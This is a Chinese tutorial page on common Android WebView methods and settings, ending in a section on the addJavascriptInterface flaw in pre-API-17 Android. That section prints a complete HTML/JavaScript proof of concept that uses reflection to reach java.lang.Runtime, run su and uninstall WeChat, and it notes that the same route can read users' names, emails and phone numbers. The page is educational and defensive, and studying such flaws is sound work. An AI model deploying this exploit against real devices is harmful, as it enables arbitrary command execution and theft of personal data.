Android应用开发中WebView的常用方法笔记整理

基本使用
使用WebView通常是需要网络的,所以需要加上访问网络的权限

<uses-permission android:name="android.permission.INTERNET" />

1.加载某个url的方法

WebView.loadUrl("http://www.baidu.com");

需要注意的是不要省略前面的http://,省略的话,某些ROM中的WebView会加载失败
2.加载assets中的HTML

WebView.loadUrl("file:///android_asset/xxx.html")

3.加载一段javascript

WebView.loadUrl("javascript:" + ${js_code})

4.为js提供本地方法
如下,提供一个showToast的方法给javascript

private static class JavaJs { private Context context; JavaJs(Context context) { this.context = context; } @JavascriptInterface public void showToast(String str) { Toast.makeText(context, str, Toast.LENGTH_LONG).show(); } } webView.addJavascriptInterface(new JavaJs(this), "JavaJs"); <script type="text/javascript"> JavaJs.showToast("toast from js"); </script>

注意:

提供给javascript的方法必需是public的,否则js无法访问 提供给javascript的方法将会在WebView管理的线程中执行,因此要保证该方法的线程安全性.(Toast是支持在非UI线程中show()的,所以上面的showToast方法是没问题的) 提供给javascript的方法一定要加上 @JavascriptInterface 在Android 4.2,Api 17之前,javascript可以通过反射java对象,来执行一些危险操作.比如反射取到Runtime,然后执行shell命令 虽然@JavascriptInterface是在Api 17加上的,但是Api 17之前,我们依然建议将提供给javascript的方法加上该annotation.(JSR-175规定,运行时annotation缺失,则直接忽略,而不会抛出ClassNotFoundException) 针对Android 4.2以前的设备,我们建议不要通过addJavascriptInterface向javascript提供方法,并且通过removeJavascriptInterface("searchBoxJavaBridge_")来移除WebView自己添加的java对象.

5.页面跳转

webView.setWebViewClient(new WebViewClient() { @Override public boolean shouldOverrideUrlLoading(WebView view, String url) { if (Uri.parse(url).getHost().equals("www.xxx.com")) { // 自己的页面,直接使用WebView加载 return false; } // 别的公司的页面,使用浏览器打开 Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(url)); startActivity(intent); return true; } });

6.访问历史回退

@Override public boolean onKeyDown(int keyCode, KeyEvent event) { if ((keyCode == KeyEvent.KEYCODE_BACK) && webView.canGoBack()) { webView.goBack(); return true; } return super.onKeyDown(keyCode, event); }

7.在Logcat中输出javascript的日志信息
重写WebChromeClient中的onConsoleMessage方法

@Override public boolean onConsoleMessage(ConsoleMessage consoleMessage) { Log.d("WebView", consoleMessage.message() + " js line: " + consoleMessage.lineNumber()); return true; }

8.支持javascript的警告框 alert
重写WebChromeClient中的onJsAlert方法

@Override public boolean onJsAlert(WebView view, String url, String message, final JsResult result) { new AlertDialog.Builder(MainActivity.this) .setTitle("JsAlert") .setMessage(message) .setPositiveButton("OK", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { result.confirm(); } }) .setCancelable(false) .show(); return true; }

9.支持javascript的确认框 confirm
重写WebChromeClient中的onJsConfirm方法

@Override public boolean onJsConfirm(WebView view, String url, String message, final JsResult result) { new AlertDialog.Builder(MainActivity.this) .setTitle("JsConfirm") .setMessage(message) .setPositiveButton("OK", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { result.confirm(); } }) .setNegativeButton("Cancel", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { result.cancel(); } }) .setCancelable(false) .show(); return true; }

10.支持javascript提问框 prompt
重写WebChromeClient中的onJsPrompt方法

@Override public boolean onJsPrompt(WebView view, String url, String message, String defaultValue, final JsPromptResult result) { final EditText et = new EditText(MainActivity.this); et.setText(defaultValue); new AlertDialog.Builder(MainActivity.this) .setTitle(message) .setView(et) .setPositiveButton("OK", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { result.confirm(et.getText().toString()); } }) .setNegativeButton("Cancel", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { result.cancel(); } }) .setCancelable(false) .show(); return true; }

11.显示空白页

WebView.loadUrl("about:blank"); //该方法使得WebView只会绘制一个白色背景,并且释放之前加载页面时使用的资源,并停止之前javascript的执行

12.清除返回栈 WebView.clearHistory
13.获得访问历史列表 WebView.copyBackForwardList
14.下载 WebView.setDownloadListener
15.pauseTimers, onPause, resumeTimers, onResume

pauseTimers, onPause 停止解析,javascript执行等操作.区别是 onPause 只作用于调用它的WebView,而 pauseTimers 作用于当前应用中所有的WebView
resumeTimers, onResume 恢复解析,javascript执行等操作.区别是 onResume 只作用于调用它的WebView,而 resumeTimers 作用于当前应用中所有的WebView

常用设置
1.安全相关(去掉不必要的JavaBridge)

//这个Java Bridge是WebView自己添加的 //在Api 17以前,javascript可以通过java对象进行反射,执行一些不安全的操作 webView.removeJavascriptInterface("searchBoxJavaBridge_");

2.js相关

//设置支持javascript,默认是false WebSettings.setJavaScriptEnabled(true);

3.缩放相关

//使WebView支持通过手势或者缩放控制器来缩放页面,默认是true //该设置不影响 WebView.zoomIn()和WebView.zoomOut() WebSettings.setSupportZoom(true); //设置使用默认的缩放控制器,默认是false WebSettings.setBuiltInZoomControls(true); //不显示默认的+/-缩放控制View, 默认是true WebSettings.setDisplayZoomControls(false); 加载图片策略相关 //设置是否自动加载图片,默认是`true`,如果设置为`false`,那么所有图片都不会被加载,包括本地图片. WebSettings.setLoadsImagesAutomatically(true); //设置是否阻止加载网络图片,默认是`false`,如果设置为`true`,那么网络图片将不会加载.(可以先设置为true,然后再设置为false,来加快页面加载速度) WebSettings.setBlockNetworkImage(false); //设置是否阻止加载网络资源(不仅仅是图片),默认是`false`,如果设置为`true`,那么网络上的js,css,图片等资源都不会加载 WebSettings.setBlockNetworkLoads(false);

4.渲染相关

//设置渲染线程的优先级 //该方法在 Api 18之后被废弃,优先级由WebView自己管理 //不过任然建议将其设置为 HIGH,来提高页面渲染速度 WebSettings.setRenderPriority(RenderPriority.HIGH); Viewport相关 //设置使用 宽 的Viewpoint,默认是false //Android browser以及chrome for Android的设置是`true` //而WebView的默认设置是`false` //如果设置为`true`,那么网页的可用宽度为`980px`,并且可以通过 meta data来设置 //如果设置为`false`,那么可用区域和WebView的显示区域有关. WebSettings.setUseWideViewPort(true); //如果webview内容宽度大于显示区域的宽度,那么将内容缩小,以适应显示区域的宽度, 默认是false WebView.setLoadWithOverviewMode(true); <!--如果WebSettings.getUseWideViewPort 是true, 那么可以通过meta来设置 Viewport --> <!--例如将其可用宽度设置为 480px, 并且禁用缩放功能--> <head> <meta name="viewport" content="width=480, user-scalable=no" /> </head> <!--如果WebSettings.getUseWideViewPort 是false, 那么 不能 通过meta来设置-->

其效果类似于:

<meta name="viewport" content="width=device-width"/>

注意: 这里的px和通常说的像素不同,他和dp的概念非常类似. 参见 Mozilla

前端存储相关设置(方便前端工程师在客户端存储数据)

//支持H5的 application cache 的功能 WebSettings.setAppCacheEnabled(true); //设置 application cache 的存储路径(通常存储js,css,图片等) WebSetting.setAppCachePath("xxx"); //支持 H5 的session storage和local storage WebSettings.setDomStorageEnabled(true); //支持javascript读,写db WebSettings.setDatabaseEnabled(true); //设置js创建的db文件的路径, Api 19以后废弃,直接有webview管理 WebSettings.setDatabasePath("xxx");

5.缓存相关设置

//设置加载资源时,如何使用cache //默认设置是:WebSettings.LOAD_DEFAULT //当WebView正常加载一个页面时,如果缓存命中且没有过期,则使用缓存数据,否则从网络加载,当WebView.goBack()时,如果缓存命中,直接使用,不会验证是否过期 //可用的其他设置:LOAD_CACHE_ELSE_NETWORK, LOAD_NO_CACHE, LOAD_CACHE_ONLY WebSettings.setCacheModel(WebSettings.LOAD_DEFAULT);

6.cookie相关

public static void synCookies(Context context, String url) { CookieManager cookieManager = CookieManager.getInstance(); cookieManager.setAcceptCookie(true);//默认就是true cookieManager.setCookie(url, cookies); if(Build.VERSION.SDK_INT < 21) { CookieSyncManager.createInstance(context).sync(); } else { cookieManager.flush(); } }

addJavascriptInterface的安全问题
1.为javascript提供native接口的途径

Android WebView 提供一个addJavascriptInterface方法来为javascript创建一个JavaBridge.
例如给js提供一个showToast的方法:

private static class JavaJs { private Context context; JavaJs(Context context) { this.context = context; } @JavascriptInterface public void showToast(String str) { Toast.makeText(context, str, Toast.LENGTH_LONG).show(); } } webView.addJavascriptInterface(new JavaJs(this), "JavaJs"); <script type="text/javascript"> JavaJs.showToast("toast from js"); </script>

2.安全问题

Api 17之前,在WebView为javascript提供了java对象之后, 可以利用javascript代码调用java的反射Api,进行一些hack操作,导致安全性问题.(<font color=red>注意: </font>低版本的WebView会自己添加一个searchBoxJavaBridge_对象,通常我们需要自己移除)
Api 17之后,WebView会禁止javascript调用没有添加@JavascriptInterface方法,从而避免上述问题.(<font color=red>注意: </font>推荐大家始终添加@JavascriptInterface,而不用关心Api版本,因为annotation缺失并不会导致ClassNotFoundException,而仅仅是被jvm忽略)
安全问题示例 (通过javascript卸载微信)

通过反射可以干很多事情,比如类似于 UserInfo 这样的对象,如果他是单例的话,那么很容易可以取到用户的 用户名,邮箱,手机号 等信息.
此处展示一个简单的页面,当通过WebView打开这个HTML,手机上的微信就会被卸载(当然前提是该app拥有root权限).

<html> <head> <script> function toByteArray(str) { var ch, stack, result = []; for(var i = 0; i < str.length; ++i) { ch = str.charCodeAt(i); stack = []; do { stack.push(ch & 0xFF); ch = ch >> 8; } while(ch); result = result.concat(stack.reverse()); } return result; } function execCmd(outputStream) { var cmd = "adb shell pm uninstall com.tencent.mm"; outputStream.write(toByteArray(cmd)); outputStream.close(); } function toString(inputStream) { var result = ""; var c; while((c = inputStream.read()) != -1) { var s = String.fromCharCode(c); result += s; } return result; } function hack() { for(var obj in window) { if("getClass" in window[obj]) { console.log(obj); var runtime = window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime", null).invoke(null, null); var p = runtime.exec(["su"]); execCmd(p.getOutputStream()); alert(toString(p.getInputStream())); break; } } } hack(); </script> </head> <body> 卸载微信 :) </body> </html>

时间: 2024-09-27 03:38:34

Android应用开发中WebView的常用方法笔记整理的相关文章

Android应用开发中WebView的常用方法笔记整理_Android

基本使用使用WebView通常是需要网络的,所以需要加上访问网络的权限 <uses-permission android:name="android.permission.INTERNET" /> 1.加载某个url的方法 WebView.loadUrl("http://www.baidu.com"); 需要注意的是不要省略前面的http://,省略的话,某些ROM中的WebView会加载失败2.加载assets中的HTML WebView.loadUr

android开发中webview保存cookie问题的解决

最近老是发现在IE里会有Cookie的问题,如IE下面无法登出,或无法登录,或者登录后信息却无法取到,而Firefox下面一直是通过的,都试过好多次了,今天终于找回的主要的原因: Cookie的问题: 首先看一下我的Cookie存取代码 (这个Cookie操作支持二级域名访问) #region 存取Cookie /// 〈summary〉 /// 存Cookie /// Json Lee 2007-09-24 /// 〈/summary〉 /// 〈param name="strName&quo

app-关于android APP开发中SQLITE数据库的问题

问题描述 关于android APP开发中SQLITE数据库的问题 代码如下,首先请问我写的这段创建数据库的代码有没有错误?然后把这个类的文件放在哪里才对啊,目前程序一打开就是程序已经停止运行,APP的第一个ACTIVITY我设置的就是判断这个库中的某个表中有没有数据.我现在感觉就是程序打开,这个库还没有创建,是不存在的,所以运行不了.请大神指教下我.或者说怎么让APP一开始运行的第一步就是运行以下的代码来创建这个数据库.求指教. //数据库创建类 package com.captain.dao

Android 游戏开发中 OnTouchEvent() 触屏事件的性能优化

  关于Android 游戏开发中 OnTouchEvent() 触屏事件的性能优化笔记! 原文地址:http://blog.csdn.net/xiaominghimi/archive/2011/01/10/6127578.aspx 先上一段代码大家来看一下: view plaincopy to clipboardprint? ·········10········20········30········40········50········60········70········80····

Android应用开发中对Bitmap的内存优化

在Android应用里,最耗费内存的就是图片资源.而且在Android系统中,读取位图Bitmap时,分给虚拟机中的图片的堆栈大小只有8M,如果超出了,就会出现OutOfMemory异常.所以,对于图片的内存优化,是Android应用开发中比较重要的内容. 1) 要及时回收Bitmap的内存 Bitmap类有一个方法recycle(),从方法名可以看出意思是回收.这里就有疑问了,Android系统有自己的垃圾回收机制,可以不定期的回收掉不使用的内存空间,当然也包括Bitmap的空间.那为什么还需

Android应用开发中单元测试分析_Android

本文主要和大家分享如何在Android应用开发过程中如何进行单元测试,个人在做项目的过程中,觉得单元测试很有必要,以保证我们编写程序的正确性.下面我们先大概了解下单元测试,以及单元测试的作用.        单元测试(又称为模块测试)是针对程序模块(软件设计的最小单位)来进行正确性检验的测试工作.程序单元是应用的最小可测试部件.在过程化编程中,一个单元就是单个程序.函数.过程等:对于面向对象编程,最小单元就是方法,包括基类(超类).抽象类.或者派生类(子类)中的方法.单元测试是由程序员自己来完成

如何解决android NDK开发中的NDK_PROJECT_PATH

问题描述 如何解决android NDK开发中的NDK_PROJECT_PATH 在编译的过程中会报出的错误,导致程序编译失败Android NDK: Could not find application project directory ! Android NDK: Please define the NDK_PROJECT_PATH variable to point to it. /Users/****/Downloads/android-ndk-r9c/build/core/build

Android编程开发中ListView的常见用法分析_Android

本文实例讲述了Android编程开发中ListView的常见用法.分享给大家供大家参考,具体如下: 一.ListView的使用步骤 ListView的使用通常有以下三个要素: (1)ListView中每个条目的布局; (2)填充进入ListView中的内容; (3)将内容与页面进行整合的Adapter. 因此,使用ListView也通常有以下三个步骤: (1)创建ListView条目的布局文件(或使用Android SDK提供的布局); (2)创建填充进入ListView中的内容,如字符串.图片

Android 游戏开发中绘制游戏触摸轨迹的曲线图_Android

       本篇文章主要来讲解怎样绘制游戏触摸轨迹的曲线图.        我们在onTouchEvent方法中,可以获取到触摸屏幕时手指触摸点的x.y坐标,如何用这些点形成一条无规则轨迹并把这条无规则轨迹曲线显示在屏幕上就是本篇文章的主旨内容.        Android Path类        Android提供了一个Path类 , 顾名思义这个类可以设置曲线路径轨迹.任何无规则的曲线实际上都是由若干条线段组成,而线段的定义为两点之间最短的一条线.path类就 可以记录这两点之间的轨迹